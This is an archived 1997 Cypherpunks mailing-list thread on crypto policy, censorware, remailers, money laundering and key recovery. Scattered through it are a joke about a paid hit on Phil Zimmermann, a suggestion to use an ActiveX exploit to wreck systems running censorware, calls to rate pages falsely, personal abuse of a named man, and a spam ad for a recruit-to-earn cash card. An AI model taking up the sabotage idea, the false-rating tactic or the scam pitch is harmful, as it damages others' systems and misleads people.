From tcmay at got.net  Mon Dec  8 16:10:29 1997
From: tcmay at got.net (Tim May)
Date: Tue, 9 Dec 1997 08:10:29 +0800
Subject: A Pretty Good Story, from The Netly News
In-Reply-To: 
Message-ID: 



At 4:15 PM -0700 12/8/97, Clyde Williamson wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>Well, I guess we can call off the hit on Zimmermann... hehehe.
>

I heard it was a "fire and forget" job...can't be recalled. The monies have
already been paid in TrueDigicash (tm) to Cypherspace Escrow (their motto:
"You slay, we pay.")

Besides, it may serve as a reminder to others.


--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From mixmaster at remail.obscura.com  Mon Dec  8 16:37:18 1997
From: mixmaster at remail.obscura.com (Mixmaster)
Date: Tue, 9 Dec 1997 08:37:18 +0800
Subject: Message
Message-ID: <199712090023.QAA18676@sirius.infonex.com>



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Steve Schear wrote:
>Nerthus wrote:
>>Might be a bit of a stretch, but I think this is because money today is 
>>inherently a liability, that is a debt that someone, somewhere has promised 
>>to pay back.
>
>You've got this all backwards.  The bearer certificates (paper money) issued 
>by governments is an interest-free loan by those holding the paper to the 
>issuer.

This is true, but it is only part of the picture.  The paper currency issuer 
(the central bank) is enjoying seigniorage, that is -- in the case of the US 
- -- the Federal Reserve is collecting revenue from the interest earned on the 
outstanding paper dollars.  This earned interest is given to the Treasury 
and accounted for as revenue for the federal government.

However, this tells us nothing about the currency's real worth.  We need to 
look deeper to find the source of the paper currency's value.  When the US 
government wants to create money, it issues debt instruments such as T-Bills 
to the Fed or to a commercial bank.  The bank then credits the government's 
deposit (checking) account for the face value of the T-Bill.  The bank 
believes it will collect this money back plus interest in a certain amount 
of time.  The government can then ask the Fed to issue some paper cash in 
exchange for the deposit currency (new paper is then created).    

The T-Bill is nothing but a promise by the federal government to pay back a 
debt.  The government has taken a loan from a bank and promises to pay it 
back in 1,5,10 or 30 years with interest.  The money to pay it back comes 
directly from the tax revenues the government collects from its citizens.  
Thus paper currency is based on the debt saddled upon future generations of 
citizens/taxpayers.

Interestingly, this is not much different than John Q. Public getting cash 
advances on his credits cards for a few years and then wondering why he is 
$25k in the hole and growing at 18% per annum.  Many people, especially 
politicians, always go for the short term gain, regardless of the long term 
consequences.  Debt-based currency (primarily a 20th century phenomenon) has 
ushered in a new era of political and financial irresponsibility.

Eventually the debts must either be reneged on or paid off.  When that time 
finally comes, neither option will paint a pretty picture.

Nerthus

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNIxg7Ra1d3zm4nqOEQJnnwCfaOLKaiCiYuqUJRSVBLc1Q6aZ4VIAoNJY
EdB96VwVlxlcI9u3Glnwjf1y
=vMJq
-----END PGP SIGNATURE-----






From mixmaster at remail.obscura.com  Mon Dec  8 17:54:57 1997
From: mixmaster at remail.obscura.com (Mix)
Date: Tue, 9 Dec 1997 09:54:57 +0800
Subject: Cato forum tomorrow: should money laundering be a crime?
Message-ID: <199712090133.RAA29460@sirius.infonex.com>



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Steve Schear wrote:
>This topic, of course, is near the top of many libertarian e-commerce 
>agendas.  Almost every mainstream news article and regulatory report repeats 
>the littany that Money Laundering, that is the movement of money to disguise 
>it origin (even if there are no predicate offenses) must remain illegal 
>because it damages or is a threat to the world banking and financial system 
>(not just the tax take of governments), but I have yet to see any 
>explanation of how and why.  Anyone care to comment?

Might be a bit of a stretch, but I think this is because money today is 
inherently a liability, that is a debt that someone, somewhere has promised 
to pay back.  Such is the nature of fractional reserve banking and 
debt-based currencies under which the international financial system 
functions.

Thus if the origin of the money (the indebted party) is obscured, it becomes 
increasingly difficult to manage the quality of the world's money supply.  
After all, how can the issuer of the money collect on the debt that 
ultimately backs it when the issuer has no idea who to collect the debt 
from?  Take away the ability to manage debt effectively and the issuer's 
money quickly becomes worthless (be it a commercial bank issuing deposit 
currency as a loan to its customers or a government's central bank issuing 
cash currency to its citizens based on a debt placed upon future generations 
of citizens).

A money's value is measured by the quality of debt backing it.  If the debt 
is defaulted on (whether through obscurity, Chapter 11, etcetera), the money 
loses value, which in turn can have negative systemic repercussions 
throughout the world's financial markets.  The recent Asian currency 
devaluations (South Korea in particular) and the accompanying financial woes 
are a good example of what happens when the debt quality of money devalues.

Nerthus

- -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGP for Personal Privacy 5.0

mQGiBDR6Du8RBAD/Atm9StFSTuaNTOtM0wH+BsKQcU8sB6kykqiRsCdfeoPdI2cW
TifPTIFFJuSRb9JCda6OQcafloXeAN9nbE+GweDQGk9qQ3egsukPXZ1QLaZhx8Y0
bbbs1EKyNMIpPK0JyFycC+ehKbOVNnB+LlcofROS6C2BqxV6jV2bTh4/OwCg/3RA
+J+IBZKJ+t8SrkePekrr8VkD+gMrK6wghoYjPJjve4GFNtIclbltnaxPvNblt3Gn
TS+AKXRXvRvtqlbh6nkOzJZCGgDl5S4Sl9ugQZm4Dnhv1wJJptw1VaNIvx4vJh5k
0Ehv0QqLyyJLM1qkb+qSm726fj7x2VMUDz1B2J8BZnRSeyX7Owv96l2hbfhsWOSL
kTzsA/47BVqGxA5aQhvXSuD6OuvzAsSNZUUL2pnyYmCkX/DrGzG1BDgb9AdUPbql
s138nr/yLjBXwbbZnrqVLLBn9mVfqQZL1HB9MgKFaCT8Pi2Q/EpyM5kN/sMkA/c/
nmk6JVHvPyCdLwJLA0r5iKHyPbZyPbc6C1FfXD9V92O3dhvCw7QjTmVydGh1cyA8
Y3lwaGVycHVua3NAY3liZXJwYXNzLm5ldD6JAEsEEBECAAsFAjR6Du8ECwMBAgAK
CRAWtXd85uJ6jrcdAJ0bB92r7CriqXzXAmPC5ldE0VftWACgoiV33M0m6V3L0OsV
CFPIMuVS3oaJARUDBRA0eg8e4VbBl7TmNwkBAQXECACjSwCnkSP9Dv06s0HMLvT9
DwjXryxvx+oMgO6CjHe5eHmLpyNDMTuhnZYByr/DU9iWAEvAYJncAl7/o7e8OcU/
vrzU2hAcjS9yaKN/Q1ltZAhg01hLhadlxvclaxuHVZ/TaO+ci5Ew1d7wzMPBWUyE
jBDHVN4902pTBaPpGqBV3yGYg5I403L9+bB8qD1Od8ALr83ha/mF6MRYV4m0Qar+
GHs6wwH3Zi+gAQMUVkC1rvJKoGicHBL7Ky+NmdydCTi4IBpiIalsdOVAF6aNkRI6
q41hmNYevzmjsk4KWQdCi+FWKj1f+soxyGPK4/lkQk17EWpdYR63+GpU88ecmrBy
uQENBDR6Dv0QBADYL1ossXAnUFX3NgVrEg4BvRr8wyhrRrddBKI9XE8vLNdHoci1
7Xtor82Fr3kyBTx/6jW2HIkuFe1PPaJqjoXfxMQc/e5xbG3Sc65VgxUqY369rc0X
yPWXnkDgGaeLJfMP6YEFWqOwyGGSkySKaiQrZXJdPnudjAhB4Aq4W/ZC4QACAgP/
UmOxIbdm014V8jSZHDpMCvHX69xMcKxk6pofza4fM+NN6wZLrUA9+us6JKMxq3j/
tSBX4M/VwhmtXdn27lbrR4blwQM/u0jGgqk3qAwEXiv2TweYCpWtfuEjbmv9LKpC
um/6Sh/KhlNGoyxm6eEOTG3hSH6rKiCTACbtuotDQhKJAD8DBRg0eg79FrV3fObi
eo4RAqt/AJ9qf0ixg3olUg2kYJEbmHMVzx+6EwCcC91whsrTD2nsNdCUkzhc333R
Aoo=
=aekz
- -----END PGP PUBLIC KEY BLOCK-----

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNIiUkxa1d3zm4nqOEQLaYQCcDRU9qkloaPTshE3coevIIdDxlXQAnjVx
fcCqzFIilN8K6KLj346uJkCP
=0xDo
-----END PGP SIGNATURE-----







From ravage at ssz.com  Mon Dec  8 17:59:49 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 9 Dec 1997 09:59:49 +0800
Subject: [Fwd: (Fwd) GILC on racism, Asian events, copyright, etc. (472 l (fwd)] (fwd)
Message-ID: <199712090036.SAA02247@einstein.ssz.com>



Forwarded message:

> Date: Mon, 08 Dec 1997 10:34:09 -0600
> From: TruthMonger 
> Subject: [Fwd: (Fwd) GILC on racism, Asian events, copyright, etc. (472 l (fwd)]

>   [B3.3] CDA's Younger Big Brother
> 
> Last week, in another attempt to clear the Internet of pornography,
> United States Senator Dan Coats (Republican from Indiana, former aid
> to Dan Quayle, and the originator of the failed CDA) introduced S.
> 1482, which seeks to prohibit commerical Internet sites from
> distributing material considered "harmful to minors" under 17 years
> old. Violators wil be imprisoned for six months with a $50,000 fine. 
> Supporters of the bill say that it's newly focused, because it covers
> only material that's "harmful to minors," and not material that's
> "indenent."  Coats's concern is over the free "teasers" (images of
> naked women and simulated sex acts) that most pornographic sites offer
> viewers.

This seems to me to be a step backward. Indecent at least has an implicit
relationship with sex while harmful to minors does not. Does the bill make
some notice that it applies only to sex and sex related issues or can this
be applied to any subject matter that would be harmful to minors? This
could impact all sorts information such as bomb info, ways to make booze, 
drug related sites, etc.


    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |      We built your fort. We will not have it used against us.      |
   |                                                                    |
   |                          John Wayne -  Allegheny Uprising          |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From ravage at ssz.com  Mon Dec  8 18:00:02 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 9 Dec 1997 10:00:02 +0800
Subject: Remailer Trivia / Re: Singapore & Freedom (fwd)
Message-ID: <199712090021.SAA02221@einstein.ssz.com>



Forwarded message:

> Date: 8 Dec 1997 17:40:04 -0000
> From: Charlie Comsec 
> Subject: Re: Remailer Trivia / Re: Singapore & Freedom 

> I find it interesting that most of the people who refer to anonymous
> posters as "hiding behind" or "hiding behind the skirts of" something
> usually have unlisted telephone numbers when you try to do a search
> for them.   I wonder why "hiding behind" an unlisted telephone number
> is considered acceptable but having an "unlisted" e-mail address is not
> considered acceptable?

> BTW, do you "hide behind" clothes when you walk on the street?  If so, why?
> Got something to hide?  Huh?  COWARD!!!! 

Public anonymity and having an unlisted phone number are not even the same
thing. An unlisted phone number is to reduce public exposure, anonymity is
to enhance public exposure and secure plausible deniability. To have an
analogous situation you would need to use a *listed* phone number registered
to anonymous in such a way that ANI displayed the number but any directory
search resulted in anonymous w/ no address or other tracing info even for
the phone company. To the best of my knowledge no phone company anywhere
will allow a customer to purchase service without identifying themselves to
the phone company. Please let me know if there is such a beast somewhere.

Generaly people wear clothes because it is convenient and required by social
mores and legal statute.

Put your money where you mouth is, send your bank acct. no. & PIN to the
list....come on, you can trust US.


    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |      We built your fort. We will not have it used against us.      |
   |                                                                    |
   |                          John Wayne -  Allegheny Uprising          |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From nobody at secret.squirrel.owl.de  Mon Dec  8 18:45:40 1997
From: nobody at secret.squirrel.owl.de (Secret Squirrel)
Date: Tue, 9 Dec 1997 10:45:40 +0800
Subject: "Kids Safe" calls for mandatory blocking sw; op-ed on summit
Message-ID: 



>   Dec. 5, 1997--Saying that we must protect children from the dangers of
>sexually explicit material on the Internet, a leading child-safety advocate
>Friday called on Congress to enact legislation to mandate that every
>computer sold in the United States by 1999 be outfitted with parental
>software that can block out sexually explicit or adult Web sites.

"Oh my gawd! A nipple! I'm harmed for life! I'm going to hell! Jesus doesn't
like this! All for a nipple!"

Um, yeah. And the far-right wackos strike again, this time in the guide of
"Kids Safe."

And now in addition to paying for Windoze when you buy a computer you get to
pay for censorware which you don't want. What if my machine comes with Linux
preinstalled? Is censorware still mandated? What if I deliberately come up
with a way to purposefully break the censorware every time they release it?
What if I come up with a way to get around the idiotware...err, censorware?

What if I specify that I don't want them to even TOUCH my hard drive -- just
stick it in the case and hand me the CDs? 

But the #1 reason this is stupid is: What keeps me from using an ActiveX
applet to exploit the "everyone is root" "feature" in Windows to remove the
censorware or, better yet, check to see if it is installed and horribly hose
the system? Granted nothing keeps me from destroying the system as it stands
now, but this just gives people a reason to do it other than the standard
(and justified) "Windows' point and click crap has destroyed the network." 

And of course there are two ways to use the actual ratings for civil
disobediance. You can either rate porn as "acceptable for children" or you
can rate *everything* as "hard-core XXX with graphic gunshots to the head, a
bunch of blood, and people cussing." The same applies for filters; I can
obsfuscate trigger words (i.e. "fuck" as "fsck" or "fuq") or I can
deliberately strewn them all over my pages so that people are, in effect,
FORCED to turn it off to read everything from a technical paper to a FAQ for
comp.lang.c.

One of these days these idiots are going to learn two things: 1) You can
successfully censor very little material, and 2) It pisses people off and
they go out of their way to offend and put up porn. Remember back during the
Exon debacle? Hell, porn was posted to Cypherpunks.






From ravage at ssz.com  Mon Dec  8 18:47:56 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 9 Dec 1997 10:47:56 +0800
Subject: "Kids Safe" calls for mandatory blocking sw; op-ed on summit (fwd)
Message-ID: <199712090259.UAA03199@einstein.ssz.com>



Forwarded message:

> Date: 9 Dec 1997 02:26:07 -0000
> From: Secret Squirrel 
> Subject: "Kids Safe" calls for mandatory blocking sw; op-ed on summit

> One of these days these idiots are going to learn two things: 1) You can
> successfully censor very little material, and 2) It pisses people off and
> they go out of their way to offend and put up porn. Remember back during the
> Exon debacle? Hell, porn was posted to Cypherpunks.

What a pipe dream, as one dies another is born.







From nobody at secret.squirrel.owl.de  Mon Dec  8 18:47:56 1997
From: nobody at secret.squirrel.owl.de (Secret Squirrel)
Date: Tue, 9 Dec 1997 10:47:56 +0800
Subject: NYTimes oped: Federal laws better than censorware
Message-ID: <2fe8bf3abfb3d4e32098b45842d2a5ca@squirrel>



>I think the answer to your question is that most of us find the very idea
>of filterware distasteful (let alone the generally poor quality of the
>implementations.  However, that's much the same as I find american cars
>distasteful.  If somebody else wants to blow their money on one of those
>pieces of crap, by all means let them.  (I admit, they're slowly getting
>better)  This leads us to poke fun at the current systems and argue against
>people actually using them, much the same way a christian friend of mine
>keeps trying to get me to accept jesus into my heart and love him so that I
>won't go to hell.  On the other hand, we get really pissed off when
>somebody tries to force us and our kids to use this crap.  It doesn't
>matter if it is AOL or the FBI, outside coercion is outside coercion.

Or public school districts, which are arms of the government regardless of
the fact that many of them have the word "independant" in their name and
have a quasi-independant regulatory joke known as a "school board."
Strangely enough I'm taxed to provide Internet feeds in the schools, then
taxed to censor those feeds, then bitched at for not "thinking about the
children" when I post to USENET, then threatened with government regulation
for the same. All while the public school system is turning out people who
can't read or do basic mathematics.

And we still come back to the old question: Who determines what is "suitable
for children?" Since I, for instance, consider absolutely no material to be
"inappropriate for children" on basis of their age and I absolutely deplore
censorship in all its forms I would rate everything as "suitable for
children," even if that means that I have to rate a porn page as having "no
nudity," or a copy of a hack and slash novel with blood and gore all over
the place as "no violence." It's blatently obvious to a human that they're
walking into a porn page or a copy of The Terrorist's Handbook before they
actually transfer it. Since the sole purpose of automated filtering and
rating systems is to censor material which some censor decides is
"inappropriate" for a particular audience without any input from that
audience at all, and in many cases I'm the one paying for the network feed
to begin with, screw them. And I'll put whatever I want on my pages, even if
that is a ratings tag, thank you.

If Little Johnny is of such fragile mentality that he will be damaged for
life because he sees a penis or a breast, then he was screwed already. Think
of it as evolution in action.

Rate falsely and watch them load.






From frissell at panix.com  Mon Dec  8 18:51:38 1997
From: frissell at panix.com (frissell at panix.com)
Date: Tue, 9 Dec 1997 10:51:38 +0800
Subject: Hakim Bey, Where Are You?
In-Reply-To: <82d58c5d19de5a8a146b13b45d7a1d25@squirrel>
Message-ID: <3.0.2.32.19971208214402.03888ea4@panix.com>



http://www.nytimes.com/yr/mo/day/news/national/ny-taxfraud-blacks.html

NYT

December 8, 1997

Officials Detail Separatist Role in New York City Tax Scheme

...

To illustrate, Chip Berlet, a senior analyst for Political Research Associates in Somerville, Mass., cited the Web page of Hakim H.Y. Bey, who investigators say appears to be a philosophical leader of the Moorish Nation operating in the Bronx, and who is someone they want to question in connection with the tax-fraud scheme.

Bey's Web site includes links to an abundance of sites -- from the home page for Mother Jones magazine, for example, to the sites of several fringe groups, including the Militia of Montana, a white separatist group, and James Daugherty, a white Michigan man who proclaims, "The Overt and Covert Organs of the Vatican and British Empires are Locked in Mortal Combat for Control of the World."

"You have separatists and conspiracists both looking at the United States government as the fount of all evil," Berlet said. "It's in the interests of both to bring down the government, so they have a working coalition."

The Bey Web site offers informational packets on Moorish studies and videotapes of lectures but makes no mention of tax kits.

Efforts to reach Bey at what is believed to be his last known address in the Bronx and through the Internet were unsuccessful.

...

DCF






From nobody at REPLAY.COM  Mon Dec  8 18:59:58 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Tue, 9 Dec 1997 10:59:58 +0800
Subject: Another of Gary Burnore's Lies Exposed
In-Reply-To: <348ae71f.274808632@nntp.best.ix.netcom.com>
Message-ID: <199712090233.DAA12644@basement.replay.com>



Mix  wrote:
       
> >:gburnore at netcom.com (Gary L. Burnore) wrote:
>  
>  [clipped only the equine manure parts of Mr. Burnore's article ]
>  
> Hmmmm.  Nothing left.
>  
> Isn't it amazing how the Anti-Privacy Mr.
> Burnore thinks there is only ONE anonymous person posting to correct his
                          ^^^^^^^^^^^^^^^^^^^^^^^^^
> outrageous lies and massive disinformation?  

Uh, oh!  Head for the hills!  Our secret is out!  We have all of these
remailers and they only have ONE USER. 

> Isn't it amazing how Dumbo Mr.
> Burnore calls 'an asshole' all those who choose to post a dissenting opinion
> anonymously?  Isn't it amazing how Anti-Free Speech Mr.
> Burnore demands to know all anonymous identities yet himself hides the
> addresses of where he lives and works?

Most control freaks like Gary Burnore and the rest of the DataBasix Gang are
hypocritical about privacy.  They want to invade that of others at will while
protecting their own.  Gary Burnore and Belinda Bryan 
were worried that their UNLISTED PHONE NUMBERS might be given out, but anyone
who dares criticize their actions with an "unlisted" e-mail address is an
"anon asshole".

OK, let's make Gary happy.  If he's so worried that my asshole is "anonymous", 
I guess I'd better give it a name -- "Burnore" sounds about right to me.  So
to all control freaks -- "stick it in your Burnore".

I'm still wondering what wondrous plans Gary and Belinda had for all
those e-mail addresses of the users of the Huge Cajones Remailer if Jeff
Burchell had turned them over to DataBasux as they had demanded.  (Not just the
senders but the RECIPIENTS as well!)  Fortunately, Jeff was smarter than your 
average Burnore and didn't keep such things around to tempt DataBasix, 
Scientology, etc., so we'll never find out.






From wildcard at bittsnwhitts.com  Tue Dec  9 11:29:18 1997
From: wildcard at bittsnwhitts.com (wildcard at bittsnwhitts.com)
Date: Tue, 9 Dec 1997 11:29:18 -0800 (PST)
Subject: "MAJOR ANNOUNCEMENT"
Message-ID: <2463579313249.GAA7082000@herennow.com>


"THE PLASTIC MONEY" QUESTION: How would you and your Family like to have a Visa "Cash" Card that has; No Credit Check - No Qualifying - No Interest - and NO PAYMENTS! is accepeted around the world and best of all, IT EARNS YOU MONEY! just for "Telling" NOT "Selling" others about it! http://www.bittsnwhitts.com/wildcard/345/index.htm While at the site, be sure to click on Print Application for more information. Plus Call: 1-800-995-0796 ext 1288 and just listen,.... ask them about the NEW Executive Starter Kit that makes an already great program even better!!! Like what you hear ........Tell 'em ID# 345 sent you, .... then tell your Friends! Thank You =========================================================== To remove your address from our mailing list, you must reply to: remove at bittsnwhitts.com and write remove in the subject ===========================================================.

From Joseph_Schlesinger at CORP.MORTONINTL.COM Tue Dec 9 11:43:58 1997 From: Joseph_Schlesinger at CORP.MORTONINTL.COM (Joseph Schlesinger) Date: Tue, 9 Dec 1997 11:43:58 -0800 (PST) Subject: BOY, DID I GET A WRONG NUMBER! Message-ID: Hello! For some inexplicable reason, I've been getting messages from you. Actually, I have received a HUGE bunch of messages both last Tuesday (2 Dec) and today (9 Dec). I don't consider myself very knowledgeable about the technical aspect of e-mail or computer networking, which is especially ironic, since it appears my name has been inserted as a BC (blind carbon) on messages sent to the Debian Development mailing lists & the ISS mailing lists. I've also received unsolicited information about software that will enable me to bulk e-mail 27 million U.S. households, special offers on fresh citrus fruits from Florida, a consumer survey from an exporter of sunglasses in China, & an invitation to visit some sort of XXX adult web site -- well, I don't even want to get into that one! Obviously, this looks like the work of some prankster. I've followed the proper procedures for getting "unsubscribed" from the Debian & ISS lists, but apparently the list managers of those organizations are unable to find me in their database. I think I know how this might have started. I'm in Chicago -- a Northwestern University alum -- & I e-mailed to a qualified list of students a message about my hobby. (I'm a 20-year barbershop singer & wanted to invite these individuals to one of our weekly chorus meetings.) It's possible that one of these students may have BC'ed me into some mailing lists as some kind of joke -- I don't know. In any event, if there's anything you want to know about barbershop harmony, get in touch with me & I'll answer your questions. If not, it's been nice hearing from you, but I'd appreciate being removed from your address book. Thanks for your help. Regards. --Joseph Schlesinger joseph_schlesinger at corp.mortonintl.com From JonWienk at ix.netcom.com Mon Dec 8 20:10:40 1997 From: JonWienk at ix.netcom.com (Jonathan Wienke) Date: Tue, 9 Dec 1997 12:10:40 +0800 Subject: A message with a key to be posted later Message-ID: <3.0.3.32.19971208200125.006be03c@popd.netcruiser> -----BEGIN PGP MESSAGE----- Version: PGP for Business Security 5.5 pQQUWkSzhyh18H9mQJc7BcsnrhejW3+xsVHHVZ1EaJeJJh/KIR4uoCcPCnBfqru/ 5+z1CjJKYhyEq5+O6vgq3b/Z7cWteVrXdbH0rD12G7P/iFaeYVM3tztsINpjT48O vd53BlxGrjugMiWzfFg7wFXhfnyvkjKudLw09eBrivQBDE8C1VGpmx4XqarZR3Zx zYIK5n6NfgGHN1EFOw2mhPX/1OXnVoB1t1eIXm7NC3/Ym+U7WV1Qca+1/FAi+I2a 0mmKdEZIIXYALXztkDQiAz4qh0+d7KuhjQZVAS6HLyWztRXCOaG/uAHmyW9sf+y6 f1O6cBvrDPhNTHpM8QjNFgSBPmlLY9Kn6pR+WWfKLbAac19mSWudhsejUCqkYCuX ZZio7vzMxuws2h0x4hReGuX3awbcXtDX858VxGoAmO4moQIz8Ps0NA9z9SW73erT Hj42/fgmE6ZaX9vXubmMKVvfDm9U3KceePKEptEJQVDwsqUjSdIjbzShI/SDai20 sf6Fq7595f3dJ0BdUbqYZhWU3aHyZJMy+AhL/HAmYevUKnKVEPqaZpQMTtB5IbmN TEe76jDdJN7fQG35MkFjn0y4gsYeOqXZ3An/9dwOOWDpW0udXPl0NE/ZWqjE7Mo4 zAqAYzyosjkd283ZDy36s92581fXRLqf2WX0tbgiYWcSHVwRj4ZYDEXV2SEsK9rR BXii5TIENG6zJbU6Nk6FjcZXpcHc0vVQO77Qn7y0OfM+7eiy436PXHVo8J+QP9Ls HYEALbk2e7i4oA6eyEEJ1fQfY4voKZ4FlthqjyAqYu2vcAStXkdpMArXQ+ZqZHMK VwRn3Ov5UzN/4jSFRTuy3x8DgZV8plwpp62cGJiRvbCZH4sxdAyNHMsz7CEvl+Nf gxHaKcvN8cyEZmG0GUUauw13txJJ+TNzLqIYAMWliDQC8M03v4lMl4kNtnv9c8Rw /1LtZtnh2lYPvvjR1xqzD0hUC/A/PdiQjJtAIgEJr9di6SI9sUjd90+pSlMTs1ST dk11CDYzY6VcQvKGLpWGxSwAci7NAnLr9Ge2ZkMRmigR4Ilhe3mFqe4N+8CnS3sF 8OsO/ZoJta4PbguZH/qgI//ji1E+JBx2seUq6tdjNJRgm/I22+dfAHxiXMeC1fAp adrXPHy1ZRpeFOkurnI9ZofA5QnGuc4VlamlxqxqbGd2TmroKHDxM8w+HJ4zkv2I boYiemaPtMmmDShdLPL3klxiDYJJaiugEhic/dx6D5ZRyqVazEBM6OFxIbrxaEob /8hwQglmTEQwJgX0TKVwbtjd2ZCjtOjZQiZ6GPQPxHW+3C+DcokOCGMsT8TRSO9X 4TaGzQYUY1fNDLqyeltoDLDfB3Xhp8s7tMDIb7BgBa0lNkaO4stg =0JK4 -----END PGP MESSAGE----- Jonathan Wienke PGP Key Fingerprints: 7484 2FB7 7588 ACD1 3A8F 778A 7407 2928 3312 6597 8258 9A9E D9FA 4878 C245 D245 EAA7 0DCC "If ye love wealth greater than liberty, the tranquility of servitude greater than the animating contest for freedom, go home from us in peace. We seek not your counsel, nor your arms. Crouch down and lick the hand that feeds you. May your chains set lightly upon you; and may posterity forget that ye were our countrymen." -- Samuel Adams "Stupidity is the one arena of of human achievement where most people fulfill their potential." -- Jonathan Wienke Never sign a contract that contains the phrase "first-born child." RSA export-o-matic: print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Message-ID: <3.0.3.32.19971208214334.0068af8c@popd.netcruiser> The key to the message is: The purple pegguin kicks ice. From ashapiro at interport.net Mon Dec 8 22:35:28 1997 From: ashapiro at interport.net (Andrew Shapiro) Date: Tue, 9 Dec 1997 14:35:28 +0800 Subject: NYTimes oped: Federal laws better than censorware In-Reply-To: <3.0.1.16.19971204120003.2ff7b144@pop.interport.net> Message-ID: At 10:37 PM -0500 12/7/97, Mike Godwin wrote: >At 12:00 PM -0500 12/4/97, Andrew Shapiro wrote: >>That's not what I said. I'm not in favor of censorship and I oppose any >>attempt to *criminalize* 'indecent' speech. But criminalize does not = >>regulate. > >Perhaps it is a flaw in my legal education, but I was always taught that >criminal laws were a form of regulation. What I meant to say, Mike, was that not all regulation, obviously, is criminal. A. From zahn at berlin.snafu.de Mon Dec 8 23:41:29 1997 From: zahn at berlin.snafu.de (Steffen Zahn) Date: Tue, 9 Dec 1997 15:41:29 +0800 Subject: Complete package for Cantsin Protocol No. 2 In-Reply-To: <199712082051.VAA22039@basement.replay.com> Message-ID: <199712090737.IAA00802@n243-197.berlin.snafu.de> >>>>> "Cantsin" == Anonymous writes: Cantsin> The source code is completely unencumbered. This is Cantsin> great! For some reason, it has been the custom to issue [...] Well, you need libgmp (GNU LGPL License) and Perl (Artistic License). I consider this not more then a proof of concept, for example the private key is not encrypted, the key management is done by hand, there is no web of trust or something similar, and normally one would write the hole thing completely in C. Cantsin> It might be a good idea to publish the SHA1 checksum of Cantsin> the file you are distributing. The checksum of the file Cantsin> I got (cantsin.tar.gz) was: Cantsin> D054C9E4ABD5CEE0C5A4343E5D1E2EF91C00048A I have D054C9E4ABD5CEE0C5A4343E5D1E2EF91C00048A which looks the same. I'm currently making some improvements, in particular in the speed of the key generation. I'm open to other suggestions to improve this package. Cantsin> I may not approve of the restrictions on free speech in Cantsin> Germany, but at least the German government isn't trying Cantsin> to stop people from publishing arithmetic. The truth is, Cantsin> that for Monty Cantsin's activities, he would get a Cantsin> better deal on free speech if he were German. There are activities underway. The German knights of public and national security have their own agenda: production, distribution and use of strong cryptography shall require key escrow in the software. There was already one failed trial to launch a law to require this. Now the activities run in interior circles, nobody knows what comes next. Steffen -- home email: user at domain where domain=berlin.snafu.de, user=zahn Use of my address for unsolicited commercial advertising is forbidden. "Where do you want to crash today?" 25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2] 712ADCBCF936ECA98E9F5D12AE0138F0436836A1 F393575F5C547874C12E15CAEDF4A268E1623D5F -74A 74A 718BA40846F568B57BB92BE594CED849995CE0CD9F591AE4A59BF73E78B31BE7F138BC53902ADFBDCF7BA3E8D7AA380EC2827F86F124D8BAA5544FB91C660F5E6ECB12DD8C545B5F084C5532F496916818590AF5A9288C32F1A190C6B2181EBF15601A8547EC907ADDE064875354981AF0CE5E80702FBC5105060019627666F21F363E186A2A40C6D73 2535614AFF58DCE60F6CF2226D9B7F1C6E0B2F1B2B287C9369408352130AF0E39486E91A1C9EACE8A0901636574D018D3520F84491FD64F0868694FB716D7A93BFD9430D80F4D24F737CB86495F1315F84D0A37A7D4D1A7F3F6D62F7A508F1AE5C2ED897E8ABAA1AF21B936F9A7DBADBF3B5BC8F4D558F8AAE264CB83E567D23976EB6F2691EF8E556 From Cindy at mcglashan.com Tue Dec 9 15:54:57 1997 From: Cindy at mcglashan.com (Cindy Cohn) Date: Tue, 9 Dec 1997 15:54:57 -0800 (PST) Subject: Court TV Message-ID: <199712092314.PAA16202@gw.quake.net> Court TV informs me that they will hold the tape of the argument until a decision is reached and will only show it afterwards. Also, they won't send us the whole thing, even after they've aired the segment, only the parts that make it into their program. Cindy ************************ Cindy A. Cohn McGlashan & Sarrail, P. C. 177 Bovet Road, 6th Floor San Mateo, CA 94402 (415) 341-2585 (tel) (415)341-1395 (fax) Cindy at McGlashan.com http://www.McGlashan.com From adam at homeport.org Tue Dec 9 00:32:13 1997 From: adam at homeport.org (Adam Shostack) Date: Tue, 9 Dec 1997 16:32:13 +0800 Subject: Why put up with KRAP? Message-ID: <199712090815.DAA10607@homeport.org> Why put up with KRAP? >[Network Associates] believes that although the Key Recovery Alliance >is not in itself a political organization, membership in it has >unintended political consequences that outweigh any technical benefits >we may receive. So, this piqued my interest. What technical benefits did NA receive from participating in KRAP? Did they get any? 